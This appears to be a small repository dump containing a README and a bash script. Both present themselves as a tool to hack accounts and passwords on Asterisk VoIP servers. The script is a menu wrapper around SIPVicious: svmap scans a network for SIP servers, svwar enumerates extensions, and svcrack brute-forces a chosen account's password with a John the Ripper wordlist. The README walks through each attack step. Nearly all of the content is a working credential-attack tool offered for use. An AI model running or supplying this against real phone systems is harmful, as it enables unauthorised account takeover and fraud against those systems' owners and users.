├── README.md ├── get_sip_account.sh └── screenshot ├── 01.png ├── 02.png ├── 03.png └── 04.png /README.md: -------------------------------------------------------------------------------- 1 | # VoIP_SIP_AsteriskServer 2 | Hack accounts and passwords on Asterisk servers 3 | 4 | This shell script will help you to scan the network and find the potential Asterisk servers. 5 | Then you will have to set which one you would like to attack. 6 | Finally, choose which account you would like to its the password thansk to a force brut attack. 7 | 8 | 1 - Set network address to scan : 192.168.1.0/24 9 | 2 - Set if you want to see details : false 10 | 11 | ![alt tag](/screenshot/01.png) 12 | 13 | 3 - Scan the network : 192.168.1.0/24 14 | 15 | ![alt tag](/screenshot/02.png) 16 | 17 | 4 - Attack an Asterisk server : 192.168.1.15 18 | 19 | ![alt tag](/screenshot/03.png) 20 | 21 | 5 - Crack an account : 205 22 | 23 | ![alt tag](/screenshot/04.png) 24 | -------------------------------------------------------------------------------- /get_sip_account.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #=========================================== 5 | # FUNCTIONS 6 | #=========================================== 7 | 8 | GetUserChoice() 9 | { 10 | userChoice=-1 11 | 12 | while [ "$userChoice" -lt 0 -o "$userChoice" -gt 5 ]; do 13 | ShowOptions 14 | read userChoice 15 | done 16 | 17 | return "$userChoice" 18 | } 19 | 20 | ShowOptions() 21 | { 22 | echo 'What do you want to do ?' 23 | echo '1 - Set network address to scan' 24 | echo '2 - Set if you want to see details' 25 | echo '3 - Scan the network' 26 | echo '4 - Attack an Asterisk server' 27 | echo '5 - Crack an account' 28 | echo '0 - Quit\n' 29 | } 30 | 31 | ScanNetwork() 32 | { 33 | result="No result" 34 | 35 | if [ "${2}" = "true" ] 36 | then 37 | result=`svmap "$1" | grep -Pzo "([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{1,4}" | grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}"` 38 | else 39 | result=`svmap "$1"` 40 | fi 41 | 42 | echo "$result" 43 | } 44 | 45 | AttackAsteriskServer() 46 | { 47 | svwar "$1" -m Invite 48 | } 49 | 50 | #=========================================== 51 | # MAIN 52 | #=========================================== 53 | 54 | 55 | ### Initialising variables 56 | 57 | network_adress="192.168.1.0/24" 58 | if [ ! -z "$1" ] 59 | then 60 | network_adress="$1" 61 | fi 62 | 63 | show_details="false" 64 | if [ ! -z "$2" ] 65 | then 66 | show_details="$2" 67 | fi 68 | 69 | asterisk_server="192.168.1.15" 70 | if [ ! -z "$3" ] 71 | then 72 | asterisk_server="$3" 73 | fi 74 | 75 | user_account=0 76 | if [ ! -z "$4" ] 77 | then 78 | user_account="$4" 79 | fi 80 | 81 | 82 | ### Do what the user wish to do 83 | 84 | choice=-1 85 | while [ "$choice" -ne 0 ]; do 86 | 87 | echo "\n\n-----------------------------------" 88 | echo "Network address : ${network_adress}" 89 | echo "Show details : ${show_details}" 90 | echo "Server Asterisk to attack : ${asterisk_server}" 91 | echo "User account : ${user_account}" 92 | echo "-----------------------------------" 93 | 94 | choice=-1 95 | GetUserChoice 96 | choice=$? 97 | 98 | case "$choice" in 99 | 1) echo "Wich network address would you like to scan (192.168.1.0/24) :" 100 | read network_adress 101 | ;; 102 | 2) echo "Would you like to see details (true/false) ?" 103 | read show_details 104 | ;; 105 | 3) echo "Scanning ${network_adress} :" 106 | 107 | ScanNetwork "${network_adress}" "${show_details}" 108 | ;; 109 | 4) echo "Wich Asterisk server would you attack ? (192.168.1.15) :" 110 | read asterisk_server 111 | AttackAsteriskServer "$asterisk_server" 112 | ;; 113 | 5) echo "Wich account from ${asterisk_server} would you crack ? :" 114 | read user_account 115 | svcrack "$asterisk_server" -u "$user_account" -d /usr/share/john/password.lst 116 | ;; 117 | esac 118 | done 119 | 120 | exit 0 -------------------------------------------------------------------------------- /screenshot/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimsavinfo/VoIP_SIP_AsteriskServer/df6bbf6873d1a7c295102b852b205fa2c0ff8566/screenshot/01.png -------------------------------------------------------------------------------- /screenshot/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimsavinfo/VoIP_SIP_AsteriskServer/df6bbf6873d1a7c295102b852b205fa2c0ff8566/screenshot/02.png -------------------------------------------------------------------------------- /screenshot/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimsavinfo/VoIP_SIP_AsteriskServer/df6bbf6873d1a7c295102b852b205fa2c0ff8566/screenshot/03.png -------------------------------------------------------------------------------- /screenshot/04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kimsavinfo/VoIP_SIP_AsteriskServer/df6bbf6873d1a7c295102b852b205fa2c0ff8566/screenshot/04.png --------------------------------------------------------------------------------